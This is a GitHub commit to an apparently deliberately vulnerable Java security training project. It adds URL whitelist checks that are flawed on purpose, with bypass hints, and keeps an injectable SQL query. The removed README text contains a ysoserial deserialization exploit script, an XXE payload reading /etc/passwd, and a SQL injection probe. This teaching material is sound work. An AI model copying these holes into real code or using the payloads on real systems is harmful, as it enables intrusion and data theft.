Skip to content

Commit 85619f3

Browse files
committed
add url bypass
1 parent 2d4d531 commit 85619f3

File tree

4 files changed

+114
-121
lines changed

4 files changed

+114
-121
lines changed

README.md

Lines changed: 3 additions & 117 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@
1818
- [反序列化](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java)
1919
- [文件上传](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java)
2020
- [SQL注入](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
21+
- [URL白名单Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java)
2122

2223
## 如何运行
2324

@@ -61,121 +62,6 @@ http://localhost:8080/rce/exec?cmd=whoami
6162
Viarus
6263
```
6364

65+
### 漏洞说明
6466

65-
## SSRF
66-
67-
针对SSRF具体利用,可以阅读我写的[这篇博文](https://joychou.org/java/javassrf.html)
68-
69-
## 反序列化
70-
71-
打包ysoserial
72-
73-
```
74-
git clone https://github.com/frohoff/ysoserial.git
75-
mvn clean package -DskipTests
76-
```
77-
78-
执行exp
79-
80-
```python
81-
#coding: utf-8
82-
#author: JoyChou
83-
#date: 2018.07.17
84-
85-
import requests
86-
import subprocess
87-
88-
def poc(url , gadget, command):
89-
ys_filepath = '/Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'
90-
popen = subprocess.Popen(['java', '-jar', ys_filepath, gadget, command], stdout=subprocess.PIPE)
91-
payload = popen.stdout.read()
92-
r = requests.post(url, data=payload, timeout=5)
93-
94-
if __name__ == '__main__':
95-
poc('http://127.0.0.1:8080/deserialize/test', 'CommonsCollections5', 'open -a Calculator')
96-
```
97-
98-
## 文件上传
99-
100-
目前这类漏洞在spring里非常少,原因有两点:
101-
1. 大多数公司上传的文件都会到cdn
102-
2. spring的jsp文件必须在web-inf目录下才能执行
103-
104-
除非,可以上传war包到tomcat的webapps目录。所以就不YY写漏洞了。
105-
106-
访问`http://localhost:8080/file/`进行文件上传,上传成功后,再访问`http://localhost:8080/image/上传的文件名`可访问上传后的文件。
107-
108-
## XXE
109-
110-
### 支持Xinclude的XXE
111-
112-
2018年08月22日更新支持XInclude的XXE漏洞代码,详情见代码。
113-
114-
POC
115-
116-
```xml
117-
<?xml version="1.0" ?>
118-
<root xmlns:xi="http://www.w3.org/2001/XInclude">
119-
<xi:include href="file:///etc/passwd" parse="text"/>
120-
</root>
121-
```
122-
123-
URL编码后的payload
124-
125-
```
126-
http://localhost:8080/xxe/DocumentBuilder_xinclude?xml=%3C%3fxml+version%3d%221.0%22+%3f%3E%0d%0a%3Croot+xmlns%3axi%3d%22http%3a%2f%2fwww.w3.org%2f2001%2fXInclude%22%3E%0d%0a+%3Cxi%3ainclude+href%3d%22file%3a%2f%2f%2fetc%2fpasswd%22+parse%3d%22text%22%2f%3E%0d%0a%3C%2froot%3E
127-
```
128-
129-
详情可以查看[浅析xml之xinclude & xslt](https://www.anquanke.com/post/id/156227)
130-
131-
## SQL注入
132-
133-
### POC
134-
135-
访问`http://localhost:8080/sqli/jdbc?id=1' or 'a'='a`返回`joychou: 123 wilson: 456 lightless: 789`
136-
137-
正常访问`http://localhost:8080/sqli/jdbc?id=1`返回`joychou: 123`
138-
139-
### 数据库表数据SQL
140-
141-
```sql
142-
143-
SET NAMES utf8mb4;
144-
SET FOREIGN_KEY_CHECKS = 0;
145-
146-
-- ----------------------------
147-
-- Table structure for users
148-
-- ----------------------------
149-
DROP TABLE IF EXISTS `users`;
150-
CREATE TABLE `users` (
151-
`name` varchar(255) NOT NULL,
152-
`password` varchar(255) NOT NULL,
153-
`isAdmin` varchar(255) NOT NULL,
154-
`id` int(10) NOT NULL AUTO_INCREMENT,
155-
PRIMARY KEY (`id`)
156-
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
157-
158-
-- ----------------------------
159-
-- Records of users
160-
-- ----------------------------
161-
BEGIN;
162-
INSERT INTO `users` VALUES ('joychou', '123', '1', 1);
163-
INSERT INTO `users` VALUES ('wilson', '456', '0', 2);
164-
INSERT INTO `users` VALUES ('lightless', '789', '0', 3);
165-
COMMIT;
166-
167-
SET FOREIGN_KEY_CHECKS = 1;
168-
169-
170-
```
171-
172-
### 说明
173-
174-
SQL注入修复方式采用预处理方式,修复见代码。Mybatis的`#{}`也是预处理方式处理SQL注入。
175-
176-
在使用了mybatis框架后,需要进行排序功能时,在mapper.xml文件中编写sql语句时,注意orderBy后的变量要使用${},而不用#{}。因为`#{}`变量是经过预编译的,${}没有经过预编译。虽然${}存在sql注入的风险,但orderBy必须使用`${}`,因为`#{}`会多出单引号`''`导致sql语句失效。为防止sql注入只能自己判断输入的值是否是否存在SQL。
177-
178-
```sql
179-
select * from users order by 'id' desc -- 排序无效,默认升序
180-
select * from users order by id desc -- 降序
181-
```
67+
查看[漏洞说明文档](https://github.com/JoyChou93/java-sec-code/wiki/%E6%BC%8F%E6%B4%9E%E8%AF%B4%E6%98%8E%E6%96%87%E6%A1%A3)

pom.xml

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -57,6 +57,12 @@
5757
<version>1.2.49</version>
5858
</dependency>
5959

60+
<!-- 获取url根域名-->
61+
<dependency>
62+
<groupId>com.google.guava</groupId>
63+
<artifactId>guava</artifactId>
64+
<version>21.0</version>
65+
</dependency>
6066

6167
<dependency>
6268
<groupId>com.google.guava</groupId>

src/main/java/org/joychou/controller/SQLI.java

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ public class SQLI {
2323
@ResponseBody
2424
public static String jdbc_sqli(HttpServletRequest request){
2525

26-
String id = request.getParameter("id");
26+
String name = request.getParameter("name");
2727
String driver = "com.mysql.jdbc.Driver";
2828
String url = "jdbc:mysql://localhost:3306/sectest";
2929
String user = "root";
@@ -38,14 +38,14 @@ public static String jdbc_sqli(HttpServletRequest request){
3838

3939
// sqli vuln code 漏洞代码
4040
Statement statement = con.createStatement();
41-
String sql = "select * from users where id = '" + id + "'";
41+
String sql = "select * from users where name = '" + name + "'";
4242
System.out.println(sql);
4343
ResultSet rs = statement.executeQuery(sql);
4444

4545
// fix code 用预处理修复SQL注入
46-
// String sql = "select * from users where id = ?";
46+
// String sql = "select * from users where name = ?";
4747
// PreparedStatement st = con.prepareStatement(sql);
48-
// st.setString(1, id);
48+
// st.setString(1, name);
4949
// System.out.println(st.toString()); // 预处理后的sql
5050
// ResultSet rs = st.executeQuery();
5151

Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
package org.joychou.controller;
2+
3+
4+
import com.google.common.net.InternetDomainName;
5+
import org.springframework.stereotype.Controller;
6+
import org.springframework.web.bind.annotation.RequestMapping;
7+
import org.springframework.web.bind.annotation.ResponseBody;
8+
9+
import javax.servlet.http.HttpServletRequest;
10+
import java.net.URL;
11+
import java.util.regex.Matcher;
12+
import java.util.regex.Pattern;
13+
14+
/**
15+
* date: 2018年08月23日
16+
* author: JoyChou
17+
* desc: URL白名单绕过
18+
*/
19+
20+
@Controller
21+
@RequestMapping("/url")
22+
public class URLWhiteList {
23+
24+
25+
private String urlwhitelist = "joychou.com";
26+
27+
28+
// 绕过方法bypassjoychou.com
29+
@RequestMapping("/endswith")
30+
@ResponseBody
31+
public String endsWith(HttpServletRequest request) throws Exception{
32+
String url = request.getParameter("url");
33+
URL u = new URL(url);
34+
String host = u.getHost().toLowerCase();
35+
String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
36+
37+
if (rootDomain.endsWith(urlwhitelist)) {
38+
return "URL is legal";
39+
} else {
40+
return "URL is illegal";
41+
}
42+
}
43+
44+
// 绕过方法joychou.com.bypass.com bypassjoychou.com
45+
@RequestMapping("/contains")
46+
@ResponseBody
47+
public String contains(HttpServletRequest request) throws Exception{
48+
String url = request.getParameter("url");
49+
URL u = new URL(url);
50+
String host = u.getHost().toLowerCase();
51+
String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
52+
53+
if (rootDomain.contains(urlwhitelist)) {
54+
return "URL is legal";
55+
} else {
56+
return "URL is illegal";
57+
}
58+
}
59+
60+
// 绕过方法bypassjoychou.com,代码功能和endsWith一样/
61+
@RequestMapping("/regex")
62+
@ResponseBody
63+
public String regex(HttpServletRequest request) throws Exception{
64+
String url = request.getParameter("url");
65+
URL u = new URL(url);
66+
String host = u.getHost().toLowerCase();
67+
String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
68+
69+
Pattern p = Pattern.compile("joychou\\.com");
70+
Matcher m = p.matcher(rootDomain);
71+
if (m.find()) {
72+
return "URL is legal";
73+
} else {
74+
return "URL is illegal";
75+
}
76+
}
77+
78+
79+
// 安全代码
80+
@RequestMapping("/seccode")
81+
@ResponseBody
82+
public String seccode(HttpServletRequest request) throws Exception{
83+
String url = request.getParameter("url");
84+
URL u = new URL(url);
85+
// 判断是否是http(s)协议
86+
if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
87+
return "URL is not http or https";
88+
}
89+
String host = u.getHost().toLowerCase();
90+
// 如果非顶级域名后缀会报错
91+
String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
92+
93+
if (rootDomain.equals(urlwhitelist)) {
94+
return "URL is legal";
95+
} else {
96+
return "URL is illegal";
97+
}
98+
}
99+
100+
101+
}

0 commit comments

Comments
 (0)